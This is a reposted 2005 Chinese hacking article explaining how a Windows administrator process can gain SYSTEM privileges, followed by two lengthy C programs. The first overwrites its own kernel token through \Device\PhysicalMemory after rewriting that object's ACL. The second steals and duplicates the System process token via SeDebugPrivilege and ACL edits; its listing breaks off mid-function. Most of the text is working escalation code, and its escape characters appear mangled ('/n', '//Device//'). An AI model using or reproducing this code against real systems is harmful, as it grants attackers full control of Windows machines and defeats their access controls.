(转载)管理员组获取系统权限的完美解决方案

管理员组获取系统权限的完美解决方案


创建时间:2005-04-28
原文出处:http://www.xfocus.net/articles/200504/795.html
原文作者:suei8423 (suei8423_at_163.com)

管理员组获取系统权限的完美解决方案

Author : ZwelL
Blog   : http://www.donews.net/zwell
Date   : 2005.4.28

    关于管理员组(administrators)获取系统(SYSTEM)权限的方法其实已经有很多种了.
小四哥就提到了一些:"MSDN系列(3)--Administrator用户直接获取SYSTEM权限"和"远程线程注入版获取SYSTEM权限".
这里,我先踩在前辈的肩上列一些可行的方法:

1. "利用ZwCreateToken()自己创建一个SYSTEM令牌(Token)"
2. HOOK掉创建进程的函数ZwCreateProcess(Ex),用winlogon ID 创建
3. 远线程插入,插入线程到系统进程,创建一新进程

这上面三种方法都是scz提到的,也存在一些问题.其实除此这外,我们还可以:
4. 将程序做成服务,带参数运行新进程

做为服务来讲就是SYSTEM了,再创建的进程也是SYSTEM权限.

当然,这里我都不会用到上面提到的方法.因为网上都能找到现成的实现代码.而且考虑一些复杂性以及存在的一些问题都不是很好的解决方案.

这里,我拿出两种新的方案来实现该功能:

第一种方法.我们先来看一下系统是如何进行权限检测的,
举个例子,在调用了OpenProcessToken,我们知道会进行权限的验证:
OpenProcessToken->NtOpenProcessToken->PsOpenTokenOfProcess->PsReferencePrimaryToken->找到这一句Token = Process->Token;
                                    |->ObOpenObjectByPointer调用上面返回的TOKEN进行检查

也就是说,系统在检测权限时仅仅通过从进程的EPROCESS结构种拿出Token项进行操作.因此我们不需要继续往ObOpenObjectByPointer里面跟进了。
思路已经很明显:直接将System进程的Token拿过来,放到我们进程的Token位置。那么系统就认为我们是SYSTEM权限.
而这时我们的进程创建的子进程也就是SYSTEM权限了。(以上分析过程请参考WINDOWS源代码...^_^)

实现代码:
===========================================================================================================
#include<windows.h>
#include<stdio.h>
#include<Accctrl.h>
#include<Aclapi.h>

#define TOKEN_OFFSET 0xc8 //In windows 2003, it's 0xc8, if others' version, change it
#define NT_SUCCESS(Status)            ((NTSTATUS)(Status) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH        ((NTSTATUS)0xC0000004L)
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)

typedef LONG  NTSTATUS;
typedef struct _IO_STATUS_BLOCK
{
    NTSTATUS    Status;
    ULONG        Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef struct _UNICODE_STRING
{
    USHORT        Length;
    USHORT        MaximumLength;
    PWSTR        Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

#define OBJ_INHERIT             0x00000002L
#define OBJ_PERMANENT           0x00000010L
#define OBJ_EXCLUSIVE           0x00000020L
#define OBJ_CASE_INSENSITIVE    0x00000040L
#define OBJ_OPENIF              0x00000080L
#define OBJ_OPENLINK            0x00000100L
#define OBJ_KERNEL_HANDLE       0x00000200L
#define OBJ_VALID_ATTRIBUTES    0x000003F2L

typedef struct _OBJECT_ATTRIBUTES
{
    ULONG        Length;
    HANDLE        RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG        Attributes;
    PVOID        SecurityDescriptor;
    PVOID        SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;  

typedef struct _SYSTEM_MODULE_INFORMATION
{
    ULONG Reserved[2];
    PVOID Base;
    ULONG Size;
    ULONG Flags;
    USHORT Index;
    USHORT Unknown;
    USHORT LoadCount;
    USHORT ModuleNameOffset;
    CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS
{
    SystemBasicInformation,
    SystemProcessorInformation,
    SystemPerformanceInformation,
    SystemTimeOfDayInformation,
    SystemNotImplemented1,
    SystemProcessesAndThreadsInformation,
    SystemCallCounts,
    SystemConfigurationInformation,
    SystemProcessorTimes,
    SystemGlobalFlag,
    SystemNotImplemented2,
    SystemModuleInformation,
    SystemLockInformation,
    SystemNotImplemented3,
    SystemNotImplemented4,
    SystemNotImplemented5,
    SystemHandleInformation,
    SystemObjectInformation,
    SystemPagefileInformation,
    SystemInstructionEmulationCounts,
    SystemInvalidInfoClass1,
    SystemCacheInformation,
    SystemPoolTagInformation,
    SystemProcessorStatistics,
    SystemDpcInformation,
    SystemNotImplemented6,
    SystemLoadImage,
    SystemUnloadImage,
    SystemTimeAdjustment,
    SystemNotImplemented7,
    SystemNotImplemented8,
    SystemNotImplemented9,
    SystemCrashDumpInformation,
    SystemExceptionInformation,
    SystemCrashDumpStateInformation,
    SystemKernelDebuggerInformation,
    SystemContextSwitchInformation,
    SystemRegistryQuotaInformation,
    SystemLoadAndCallImage,
    SystemPrioritySeparation,
    SystemNotImplemented10,
    SystemNotImplemented11,
    SystemInvalidInfoClass2,
    SystemInvalidInfoClass3,
    SystemTimeZoneInformation,
    SystemLookasideInformation,
    SystemSetTimeSlipEvent,
    SystemCreateSession,
    SystemDeleteSession,
    SystemInvalidInfoClass4,
    SystemRangeStartInformation,
    SystemVerifierInformation,
    SystemAddVerifier,
    SystemSessionProcessesInformation
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION )
(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
);

typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(
    OUT PHANDLE  SectionHandle,
    IN  ACCESS_MASK  DesiredAccess,
    IN  POBJECT_ATTRIBUTES  ObjectAttributes
    );

typedef VOID (CALLBACK* RTLINITUNICODESTRING)(                
    IN OUT PUNICODE_STRING  DestinationString,
    IN PCWSTR  SourceString
    );

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG            ProcessId;
    UCHAR            ObjectTypeNumber;
    UCHAR            Flags;
    USHORT            Handle;
    PVOID            Object;
    ACCESS_MASK        GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

RTLINITUNICODESTRING        RtlInitUnicodeString;
ZWOPENSECTION            ZwOpenSection;
ZWQUERYSYSTEMINFORMATION    ZwQuerySystemInformation = NULL;
HMODULE    g_hNtDLL = NULL;
PVOID     g_pMapPhysicalMemory = NULL;
HANDLE     g_hMPM     = NULL;

BOOL InitNTDLL()
{
    g_hNtDLL = LoadLibrary( "ntdll.dll" );
    if ( !g_hNtDLL )
    {
        return FALSE;
    }

    RtlInitUnicodeString =
        (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, "RtlInitUnicodeString");

    ZwOpenSection =
        (ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");

    ZwQuerySystemInformation =
        ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, "ZwQuerySystemInformation" );

    ZwQuerySystemInformation =
        ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, "ZwQuerySystemInformation" );

    return TRUE;
}

VOID CloseNTDLL()
{
    if(g_hNtDLL != NULL)
    {
        FreeLibrary(g_hNtDLL);
    }
}

VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
{

    PACL pDacl=NULL;
    PACL pNewDacl=NULL;
    PSECURITY_DESCRIPTOR pSD=NULL;
    DWORD dwRes;
    EXPLICIT_ACCESS ea;

    if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,
        NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS)
    {
        goto CleanUp;
    }

    ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
    ea.grfAccessPermissions = SECTION_MAP_WRITE;
    ea.grfAccessMode = GRANT_ACCESS;
    ea.grfInheritance= NO_INHERITANCE;
    ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
    ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
    ea.Trustee.ptstrName = "CURRENT_USER";


    if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS)
    {
        goto CleanUp;
    }

    if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS)
    {
        goto CleanUp;
    }

CleanUp:

    if(pSD)
        LocalFree(pSD);
    if(pNewDacl)
        LocalFree(pNewDacl);
}

HANDLE OpenPhysicalMemory()
{
    NTSTATUS        status;
    UNICODE_STRING        physmemString;
    OBJECT_ATTRIBUTES    attributes;

    RtlInitUnicodeString( &physmemString, L"//Device//PhysicalMemory" );

    attributes.Length            = sizeof(OBJECT_ATTRIBUTES);
    attributes.RootDirectory        = NULL;
    attributes.ObjectName            = &physmemString;
    attributes.Attributes            = 0;
    attributes.SecurityDescriptor        = NULL;
    attributes.SecurityQualityOfService    = NULL;

    status = ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);

    if(status == STATUS_ACCESS_DENIED){
        status = ZwOpenSection(&g_hMPM,READ_CONTROL|WRITE_DAC,&attributes);
        SetPhyscialMemorySectionCanBeWrited(g_hMPM);
        CloseHandle(g_hMPM);
        status =ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);
    }

    if( !NT_SUCCESS( status ))
    {
        return NULL;
    }

    g_pMapPhysicalMemory = MapViewOfFile(
        g_hMPM,
        4,
        0,
        0x30000,
        0x1000);
    if( g_pMapPhysicalMemory == NULL )
    {
        return NULL;
    }

    return g_hMPM;
}

PVOID LinearToPhys(PULONG BaseAddress,PVOID addr)
{
    ULONG VAddr=(ULONG)addr,PGDE,PTE,PAddr;
    if(VAddr>=0x80000000 && VAddr<0xa0000000)
    {
        PAddr=VAddr-0x80000000;
        return (PVOID)PAddr;
    }
    PGDE=BaseAddress[VAddr>>22];
    if ((PGDE&1)!=0)
    {
        ULONG tmp=PGDE&0x00000080;
        if (tmp!=0)
        {
            PAddr=(PGDE&0xFFC00000)+(VAddr&0x003FFFFF);
        }
        else
        {
            PGDE=(ULONG)MapViewOfFile(g_hMPM, FILE_MAP_ALL_ACCESS, 0, PGDE & 0xfffff000, 0x1000);
            PTE=((PULONG)PGDE)[(VAddr&0x003FF000)>>12];
            if ((PTE&1)!=0)
            {
                PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF);
                UnmapViewOfFile((PVOID)PGDE);
            }
            else return 0;
        }
    }
    else return 0;

    return (PVOID)PAddr;
}



ULONG GetData(PVOID addr)
{
    ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);
    PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, 4, 0, phys & 0xfffff000, 0x1000);
    if (tmp==0)
        return 0;
    ULONG ret=tmp[(phys & 0xFFF)>>2];
    UnmapViewOfFile(tmp);
    return ret;
}

BOOL SetData(PVOID addr,ULONG data)
{
    ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);
    PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000);
    if (tmp==0)
        return FALSE;
    tmp[(phys & 0xFFF)>>2]=data;
    UnmapViewOfFile(tmp);
    return TRUE;
}

DWORD MyGetModuleBaseAddress( char * pModuleName)
{
    PSYSTEM_MODULE_INFORMATION    pSysModule;    

    ULONG            uReturn;
    ULONG            uCount;
    PCHAR            pBuffer = NULL;
    PCHAR            pName    = NULL;
    NTSTATUS        status;
    UINT            ui;
    CHAR            szBuffer[10];
    DWORD            pBaseAddress;

    status = ZwQuerySystemInformation( SystemModuleInformation, szBuffer, 10, &uReturn );
    pBuffer = ( PCHAR )malloc(uReturn);
    if ( pBuffer )
    {
        status = ZwQuerySystemInformation( SystemModuleInformation, pBuffer, uReturn, &uReturn );
        if( NT_SUCCESS(status) )
        {
            uCount = ( ULONG )*( ( ULONG * )pBuffer );
            pSysModule = ( PSYSTEM_MODULE_INFORMATION )( pBuffer + sizeof( ULONG ) );
            for ( ui = 0; ui < uCount; ui++ )
            {
                pName = strstr( pSysModule->ImageName, pModuleName );
                if( pName )
                {
                    pBaseAddress = (DWORD)pSysModule->Base;
                    free( pBuffer );
                    return pBaseAddress;
                }
                pSysModule ++;
            }
        }

        free( pBuffer );
    }

    return NULL;
}

DWORD GetEprocessFromId (DWORD PID)
{
    NTSTATUS                     status;
    PVOID                        buf   = NULL;
    ULONG                        size  = 1;
    ULONG                        NumOfHandle = 0;
    ULONG                        i;
    PSYSTEM_HANDLE_INFORMATION    h_info  = NULL;
    DWORD    n;
    DWORD    retvalue=0;

    buf=malloc(0x1000);
    if(buf == NULL)
    {
        printf("malloc wrong/n");
        return FALSE;
    }
    status = ZwQuerySystemInformation( SystemHandleInformation, buf, 0x1000, &n );
    if(STATUS_INFO_LENGTH_MISMATCH == status)
    {
        free(buf);
        buf=malloc(n);
        if(buf == NULL)
        {
            printf("malloc wrong/n");
            return FALSE;
        }
        status = ZwQuerySystemInformation( SystemHandleInformation, buf, n, NULL);
    }
    else
    {
        printf("ZwQuerySystemInformation wrong/n");
        return FALSE;
    }

    NumOfHandle = *(ULONG*)buf;

    h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);

    for(i = 0; i<NumOfHandle ;i++)
    {
            if( h_info[i].ProcessId == PID &&( h_info[i].ObjectTypeNumber == 5  ))
            {
                retvalue=(DWORD)(h_info[i].Object);
                break;
            }
    }

    if ( buf != NULL )
    {
        free( buf );
    }
    return retvalue;
}

void usage(char *exe)
{
    printf("Usage : %s [exefile|-h]/n");
}

int main(int argc, char **argv)
{
    HMODULE hDll;
    DWORD tmp;
    DWORD SystemEprocess;
    DWORD SystemEprocessTokenValue;
    DWORD CurrentEprocess;
    DWORD CurrentEprocessTokenValue;

    printf("/nIt is intended to get SYSTEM privilege from administrators group./n");
    printf("/tMade by ZwelL./n");
    printf("/[email protected]./n");
    printf("/thttp://www.donews.net/zwell./n");
    printf("/tType -h to get more information/n", argv[0]);

    if( argc>=2)
    {
        if(
            ( (strcmp(argv[1],"-h")==0) && (argc==2))
            || (argc>2)
          )
        {
            usage(argv[0]);
            exit(-1);
        }
    }

    if (!InitNTDLL())
    {
        printf("InitNTDLL wrong/n");
        exit(-1);
    }

    if (OpenPhysicalMemory()==0)
    {
        printf("OpenPhysicalMemory wrong/n");
        exit(-1);
    }

    hDll = LoadLibrary("ntoskrnl.exe");
    tmp = (DWORD)GetProcAddress(hDll, "PsInitialSystemProcess");
    tmp=MyGetModuleBaseAddress("ntoskrnl.exe")+(DWORD)tmp-(DWORD)hDll;
    SystemEprocess=GetData((PVOID)tmp);
    tmp=SystemEprocess+TOKEN_OFFSET; //SYSTEM's Token address
    SystemEprocessTokenValue=GetData((PVOID)tmp);   //SYSTEM's Token
    printf("System Process Token : 0x%08X/n", SystemEprocessTokenValue);

    OpenProcess( PROCESS_ALL_ACCESS,FALSE,GetCurrentProcessId() );
    CurrentEprocess = GetEprocessFromId(GetCurrentProcessId());
    CurrentEprocessTokenValue = GetData((PVOID)(CurrentEprocess+TOKEN_OFFSET));

    printf("Current EPROCESS : %08x/n", CurrentEprocess);
    printf("Current Process Token : %08x/nPress ENTER to continue.../n",
        CurrentEprocessTokenValue);
    //getchar();
    SetData((PVOID)(GetEprocessFromId(GetCurrentProcessId())+TOKEN_OFFSET), SystemEprocessTokenValue);
    printf("Current Process Token : %08x/n",
        GetData((PVOID)(GetEprocessFromId(GetCurrentProcessId())+TOKEN_OFFSET)));
    printf("Press ENTER to create process.../n");
    //getchar();

    if( GetData((PVOID)(CurrentEprocess+TOKEN_OFFSET))
        == GetData((PVOID)(SystemEprocess+TOKEN_OFFSET))  
        )
        // It is so surprised that SYSTEM's Token always in changing.
        // So before create new process, we should ensure the TOKEN is all right
    {
        ShellExecute(NULL, "open", (argc==2)?argv[1]:"c://windows//regedit.exe", NULL, NULL, SW_SHOWNORMAL);
    }
    UnmapViewOfFile(g_pMapPhysicalMemory);
    CloseHandle(g_hMPM);
    CloseNTDLL();

    return 0;
}



在上面的代码中,请将TOKEN_OFFSET改成你的系统版本的偏移值.我们也可以想像到由于是操作了系统的内核空间,搞不好会出现蓝屏现象(尽管机率很小).

=========================================================================================================
第二种方法,我们不自己创建进程,而是直接用System进程的Token来创建进程.看到这,大家可能又想到了远线程。
这里不是。我的思路是:配置好桌面(desktop),工作区间(WindowStation)等信息,最后调用CreateProcessAsUser来创建子进程。
用这种方法极为稳定。这里一些关于获取SID的代码可以看我前一段时间写的"一种新的穿透防火墙的数据传输技术".

下面是源代码,这段代码也实现了RUNAS的功能,有兴趣可以研究一下,大部分都来自MSDN:

#include <windows.h>
#include <stdio.h>
#include <Tlhelp32.h>
#include <AccCtrl.h>
#include <Aclapi.h>
#include <wtsapi32.h>

#pragma comment(lib, "wtsapi32")

HANDLE OpenSystemProcess()
{
    HANDLE hSnapshot = NULL;
    HANDLE hProc     = NULL;

    __try
    {
        // Get a snapshot of the processes in the system
        hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (hSnapshot == NULL)
        {
            printf("OpenSystemProcess CreateToolhelp32Snapshot Failed");
            __leave;
        }

        PROCESSENTRY32 pe32;
        pe32.dwSize = sizeof(pe32);

        // Find the "System" process
        BOOL fProcess = Process32First(hSnapshot, &pe32);
        while (fProcess && (lstrcmpi(pe32.szExeFile, TEXT("SYSTEM")) != 0))
            fProcess = Process32Next(hSnapshot, &pe32);
        if (!fProcess)
        {
            printf("OpenSystemProcess Not Found SYSTEM");
            __leave;    // Didn't find "System" process
        }

        // Open the process with PROCESS_QUERY_INFORMATION access
        hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE,
            pe32.th32ProcessID);
        if (hProc == NULL)
        {
            printf("OpenSystemProcess OpenProcess Failed");
            __leave;
        }
    }
    __finally
    {
        // Cleanup the snapshot
       if (hSnapshot != NULL)
           CloseHandle(hSnapshot);
       return(hProc);
    }
}

BOOL EnablePrivilege (PCSTR name)
{
    HANDLE hToken;
    BOOL rv;
    
    TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
    LookupPrivilegeValue (
        0,
        name,
        &priv.Privileges[0].Luid
    );
    
    OpenProcessToken(
        GetCurrentProcess (),
        TOKEN_ADJUST_PRIVILEGES,
        &hToken
    );
    
    AdjustTokenPrivileges (
        hToken,
        FALSE,
        &priv,
        sizeof priv,
        0,
        0
    );
    rv = GetLastError () == ERROR_SUCCESS;
    
    CloseHandle (hToken);
    return rv;
}

#define chDIMOF(Array) (sizeof(Array) / sizeof(Array[0]))

BOOL ModifySecurity(HANDLE hProc, DWORD dwAccess)
{
    PACL pAcl        = NULL;
    PACL pNewAcl     = NULL;
    PACL pSacl       = NULL;
    PSID pSidOwner   = NULL;
    PSID pSidPrimary = NULL;
    BOOL fSuccess    = TRUE;

    PSECURITY_DESCRIPTOR pSD = NULL;

    __try
    {
        // Find the length of the security object for the kernel object
        DWORD dwSDLength;
        if (GetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pSD, 0,
            &dwSDLength) || (GetLastError() != ERROR_INSUFFICIENT_BUFFER))
        {
            printf("ModifySecurity GetKernelObjectSecurity Size Failed");
            __leave;
        }

        // Allocate a buffer of that length
        pSD = LocalAlloc(LPTR, dwSDLength);
        if (pSD == NULL)
        {
            printf("ModifySecurity LocalAlloc Failed");
            __leave;
        }

        // Retrieve the kernel object
        if (!GetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pSD,
            dwSDLength, &dwSDLength))
        {
            printf("ModifySecurity GetKernelObjectSecurity Failed");
            __leave;
        }

        // Get a pointer to the DACL of the SD
        BOOL fDaclPresent;
        BOOL fDaclDefaulted;
        if (!GetSecurityDescriptorDacl(pSD, &fDaclPresent, &pAcl,
            &fDaclDefaulted))
        {
            printf("ModifySecurity GetSecurityDescriptorDacl Failed");
            __leave;
        }

        // Get the current user's name
        TCHAR szName[1024];
        DWORD dwLen = chDIMOF(szName);
        if (!GetUserName(szName, &dwLen))
        {
            printf("ModifySecurity GetUserName Failed");
            __leave;
        }

        // Build an EXPLICIT_ACCESS structure for the ace we wish to add.
        EXPLICIT_ACCESS ea;
        BuildExplicitAccessWithName(&ea, szName, dwAccess, GRANT_ACCESS, 0);
        ea.Trustee.TrusteeType = TRUSTEE_IS_USER;

        // We are allocating a new ACL with a new ace inserted.  The new
        // ACL must be LocalFree'd
        if(ERROR_SUCCESS != SetEntriesInAcl(1, &ea, pAcl, &pNewAcl))
        {
            printf("ModifySecurity SetEntriesInAcl Failed");
            pNewAcl = NULL;
            __leave;
        }

        // Find the buffer sizes we would need to make our SD absolute
        pAcl               = NULL;
        dwSDLength         = 0;
        DWORD dwAclSize    = 0;
        DWORD dwSaclSize   = 0;
        DWORD dwSidOwnLen  = 0;
        DWORD dwSidPrimLen = 0;
        PSECURITY_DESCRIPTOR pAbsSD = NULL;
        if(MakeAbsoluteSD(pSD, pAbsSD, &dwSDLength, pAcl, &dwAclSize, pSacl,
            &dwSaclSize, pSidOwner, &dwSidOwnLen, pSidPrimary, &dwSidPrimLen)
            || (GetLastError() != ERROR_INSUFFICIENT_BUFFER))
        {
            printf("ModifySecurity MakeAbsoluteSD Size Failed");
            __leave;
        }

        // Allocate the buffers
        pAcl = (PACL) LocalAlloc(LPTR, dwAclSize);
        pSacl = (PACL) LocalAlloc(LPTR, dwSaclSize);
        pSidOwner = (PSID) LocalAlloc(LPTR, dwSidOwnLen);
        pSidPrimary = (PSID) LocalAlloc(LPTR, dwSidPrimLen);
        pAbsSD = (PSECURITY_DESCRIPTOR) LocalAlloc(LPTR, dwSDLength);
        if(!(pAcl && pSacl && pSidOwner && pSidPrimary && pAbsSD))
        {
            printf("ModifySecurity Invalid SID Found");
            __leave;
        }

        // And actually make our SD absolute
        if(!MakeAbsoluteSD(pSD, pAbsSD, &dwSDLength, pAcl, &dwAclSize, pSacl,
            &dwSaclSize, pSidOwner, &dwSidOwnLen, pSidPrimary, &dwSidPrimLen))
        {
            printf("ModifySecurity MakeAbsoluteSD Failed");
            __leave;
        }

        // Now set the security descriptor DACL
        if(!SetSecurityDescriptorDacl(pAbsSD, fDaclPresent, pNewAcl,
            fDaclDefaulted))
        {
            printf("ModifySecurity SetSecurityDescriptorDacl Failed");
            __leave;
        }

        // And set the security for the object
        if(!SetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pAbsSD))
        {
            printf("ModifySecurity SetKernelObjectSecurity Failed");
            __leave;
        }

        fSuccess = TRUE;

    }
    __finally
    {
        // Cleanup
        if (pNewAcl == NULL)
            LocalFree(pNewAcl);

        if (pSD == NULL)
            LocalFree(pSD);

        if (pAcl == NULL)
            LocalFree(pAcl);

        if (pSacl == NULL)
            LocalFree(pSacl);

        if (pSidOwner == NULL)
            LocalFree(pSidOwner);

        if (pSidPrimary == NULL)
            LocalFree(pSidPrimary);

        if(!fSuccess)
        {
            printf("ModifySecurity exception caught in __finally");
        }

        return(fSuccess);
    }
}

HANDLE GetLSAToken()
{
    HANDLE hProc  = NULL;
    HANDLE hToken = NULL;
    BOOL bSuccess = FALSE;
    __try
    {
        // Enable the SE_DEBUG_NAME privilege in our process token
        if (!EnablePrivilege(SE_DEBUG_NAME))
        {
            printf("GetLSAToken EnablePrivilege Failed");
            __leave;
        }

        // Retrieve a handle to the "System" process
        hProc = OpenSystemProcess();
        if(hProc == NULL)
        {
            printf("GetLSAToken OpenSystemProcess Failed");
            __leave;
        }

        // Open the process token with READ_CONTROL and WRITE_DAC access.  We
        // will use this access to modify the security of the token so that we
        // retrieve it again with a more complete set of rights.
        BOOL fResult = OpenProcessToken(hProc, READ_CONTROL | WRITE_DAC,
            &hToken);
        if(FALSE == fResult)  
        {
            printf("GetLSAToken OpenProcessToken Failed");
            __leave;
        }

        // Add an ace for the current user for the token.  This ace will add
        // TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY rights.
        if (!ModifySecurity(hToken, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY
            | TOKEN_QUERY | TOKEN_ADJUST_SESSIONID))
        {
            printf("GetLSAToken ModifySecurity Failed");
            __leave;
        }
        

        // Reopen the process token now that we have added the rights to
        // query the token, duplicate it, and assign it.
        fResult = OpenProcessToken(hProc, TOKEN_QUERY | TOKEN_DUPLICATE
            | TOKEN_ASSIGN_PRIMARY | READ_CONTROL | WRITE_DAC, &hToken);
        if (FALSE == fResult)  
        {
            printf("GetLSAToken OpenProcessToken Failed");
            __leave;
        }
        bSuccess = TRUE;
    }
    __finally
    {
        // Close the System process handle
        if (hProc != NULL)    CloseHandle(hProc);
        if(bSuccess)
            return hToken;
        else
        {
            ::CloseHandle(hToken);
            return NULL;
        }
    }
}

#define DESKTOP_ALL (DESKTOP_READOBJECTS | DESKTOP_CREATEWINDOW | DESKTOP_CREATEMENU | DESKTOP_HOOKCONTROL | /
        DESKTOP_JOURNALRECORD | DESKTOP_JOURNALPLAYBACK | /
        DESKTOP_ENUMERATE | DESKTOP_WRITEOBJECTS | /
        DESKTOP_SWITCHDESKTOP | STANDARD_RIGHTS_REQUIRED)

#define WINSTA_ALL (WINSTA_ENUMDESKTOPS | WINSTA_READATTRIBUTES |  /
    WINSTA_ACCESSCLIPBOARD | WINSTA_CREATEDESKTOP | /
        WINSTA_WRITEATTRIBUTES | WINSTA_ACCESSGLOBALATOMS | /
        WINSTA_EXITWINDOWS | WINSTA_ENUMERATE | /
        WINSTA_READSCREEN | /
        STANDARD_RIGHTS_REQUIRED)

#define GENERIC_ACCESS (GENERIC_READ | GENERIC_WRITE | GENERIC_EXECUTE | GENERIC_ALL)

BOOL AddAceToWindowStation(HWINSTA hwinsta, PSID psid);

BOOL AddAceToDesktop(HDESK hdesk, PSID psid);

BOOL GetLogonSID(HANDLE hToken, PSID *ppsid)
{
    PWTS_PROCESS_INFO pProcessInfo = NULL;
    DWORD             ProcessCount = 0;
    BOOL                ret=FALSE;

    if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))
    {
        // dump each process description
        for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)
        {

            if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "System") == 0 )
            {
                //*ppsid = pProcessInfo[CurrentProcess].pUserSid;
                DWORD dwLength = GetLengthSid(pProcessInfo[CurrentProcess].pUserSid);
                *ppsid = (PSID) HeapAlloc(GetProcessHeap(),
                            HEAP_ZERO_MEMORY, dwLength);
                if (*ppsid == NULL)
                    break;
                if (!CopySid(dwLength, *ppsid, pProcessInfo[CurrentProcess].pUserSid))
                {
                    HeapFree(GetProcessHeap(), 0, (LPVOID)*ppsid);
                    break;
                }
                ret=TRUE;
                break;
            }
        }

        WTSFreeMemory(pProcessInfo);
    }

    return ret;
}

BOOL GetLogonSID_1 (HANDLE hToken, PSID *ppsid)
{
   BOOL bSuccess = FALSE;
   DWORD dwIndex;
   DWORD dwLength = 0;
   PTOKEN_GROUPS ptg = NULL;

// Verify the parameter passed in is not NULL.
    if (NULL == ppsid)
        goto Cleanup;

// Get required buffer size and allocate the TOKEN_GROUPS buffer.

   if (!GetTokenInformation(
         hToken,         // handle to the access token
         TokenGroups,    // get information about the token's groups
         (LPVOID) ptg,   // pointer to TOKEN_GROUPS buffer
         0,              // size of buffer
         &dwLength       // receives required buffer size
      ))
   {
      if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)
         goto Cleanup;

      ptg = (PTOKEN_GROUPS)HeapAlloc(GetProcessHeap(),
         HEAP_ZERO_MEMORY, dwLength);

      if (ptg == NULL)
         goto Cleanup;
   }


// Get the token group information from the access token.

   if (!GetTokenInformation(
         hToken,         // handle to the access token
         TokenGroups,    // get information about the token's groups
         (LPVOID) ptg,   // pointer to TOKEN_GROUPS buffer
         dwLength,       // size of buffer
         &dwLength       // receives required buffer size
         ))
   {
      goto Cleanup;
   }

// Loop through the groups to find the logon SID.

   for (dwIndex = 0; dwIndex < ptg->GroupCount; dwIndex++)
      if ((ptg->Groups[dwIndex].Attributes & SE_GROUP_LOGON_ID)
             ==  SE_GROUP_LOGON_ID)
      {
      // Found the logon SID; make a copy of it.

         dwLength = GetLengthSid(ptg->Groups[dwIndex].Sid);
         *ppsid = (PSID) HeapAlloc(GetProcessHeap(),
                     HEAP_ZERO_MEMORY, dwLength);
         if (*ppsid == NULL)
             goto Cleanup;
         if (!CopySid(dwLength, *ppsid, ptg->Groups[dwIndex].Sid))
         {
             HeapFree(GetProcessHeap(), 0, (LPVOID)*ppsid);
             goto Cleanup;
         }
         break;
      }

   bSuccess = TRUE;

Cleanup:

// Free the buffer for the token groups.

   if (ptg != NULL)
      HeapFree(GetProcessHeap(), 0, (LPVOID)ptg);

   return bSuccess;
}




VOID FreeLogonSID (PSID *ppsid)
{
    HeapFree(GetProcessHeap(), 0, (LPVOID)*ppsid);
}


BOOL StartInteractiveClientProcess (
    LPTSTR lpszUsername,    // client to log on
    LPTSTR lpszDomain,      // domain of client's account
    LPTSTR lpszPassword,    // client's password
    LPTSTR lpCommandLine,    // command line to execute
    HANDLE Token = NULL
)
{
   HANDLE      hToken;
   HDESK       hdesk = NULL;
   HWINSTA     hwinsta = NULL, hwinstaSave = NULL;
   PROCESS_INFORMATION pi;
   PSID pSid = NULL;
   STARTUPINFO si;
   BOOL bResult = FALSE;

// Log the client on to the local computer.

   if(Token!=NULL)
   {
       printf("%08x/n", Token);
       hToken = Token;
   }
   else if (!LogonUser(
           lpszUsername,
           lpszDomain,
